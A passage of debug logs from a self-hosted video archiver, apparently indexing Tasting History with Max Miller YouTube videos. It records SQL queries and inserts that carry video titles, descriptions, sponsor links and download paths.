Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "0b31bee2-9bd2-4cf8-9f91-cd8c941253b4", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", false, false, 7, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", false, false, 3, [], 98, ~U[2026-02-10 00:00:00Z], ~U[2026-03-30 06:51:30Z], ~U[2026-03-30 06:51:30Z], "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", nil, false, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", false, 3, ~U[2026-02-10 00:00:00Z]] 02:51:30.903 [debug] QUERY OK source="sources" db=0.2ms idle=213.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:30.903 [debug] QUERY OK source="media_profiles" db=0.1ms idle=67.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:30.904 [debug] QUERY OK source="media_items" db=0.2ms idle=67.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8815] 02:51:30.904 [debug] Current batch of media processed. Will check again in 1000ms 02:51:31.904 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", "id" => "myvdVmaa0GE", "original_url" => "https://www.youtube.com/watch?v=myvdVmaa0GE", "playlist_index" => 8, "title" => "Cooking Kangaroo on the World War 2 Australian Home Front", "upload_date" => "20260203"} 02:51:31.905 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:31.905 [debug] QUERY OK source="sources" db=0.2ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:31.907 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 00:00:00Z], 3] 02:51:31.909 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "46b120db-0020-4d58-b1ea-91579965b5f7", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", false, false, 8, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", false, false, 3, [], 98, ~U[2026-02-03 00:00:00Z], ~U[2026-03-30 06:51:31Z], ~U[2026-03-30 06:51:31Z], "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", nil, false, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", false, 3, ~U[2026-02-03 00:00:00Z]] 02:51:31.910 [debug] QUERY OK source="sources" db=0.2ms idle=219.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:31.910 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:31.910 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8307] 02:51:31.911 [debug] Current batch of media processed. Will check again in 1000ms 02:51:32.911 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "filename" => "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", "id" => "R9Kw_3c88bQ", "original_url" => "https://www.youtube.com/watch?v=R9Kw_3c88bQ", "playlist_index" => 9, "title" => "Did This Meal Kill Mozart?", "upload_date" => "20260127"} 02:51:32.912 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:32.912 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:32.914 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 00:00:00Z], 3] 02:51:32.921 [debug] QUERY OK source="media_items" db=7.1ms idle=1003.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "b8a655a7-5a1b-4aa0-b45a-27954f5df99b", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", false, false, 9, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", false, false, 3, [], 98, ~U[2026-01-27 00:00:00Z], ~U[2026-03-30 06:51:32Z], ~U[2026-03-30 06:51:32Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", nil, false, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", false, 3, ~U[2026-01-27 00:00:00Z]] 02:51:32.922 [debug] QUERY OK source="sources" db=0.1ms idle=229.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:32.922 [debug] QUERY OK source="media_profiles" db=0.1ms idle=9.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:32.922 [debug] QUERY OK source="media_items" db=0.2ms idle=9.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7804] 02:51:32.923 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", "id" => "zjMQgMshYM8", "original_url" => "https://www.youtube.com/watch?v=zjMQgMshYM8", "playlist_index" => 10, "title" => "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "upload_date" => "20260120"} 02:51:32.923 [debug] QUERY OK source="sources" db=0.2ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:32.923 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:32.925 [debug] QUERY OK source="media_items" db=1.3ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 3] 02:51:32.927 [debug] QUERY OK source="media_items" db=1.1ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "0a782a34-7cf5-4438-9058-cd49522b91b9", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", false, false, 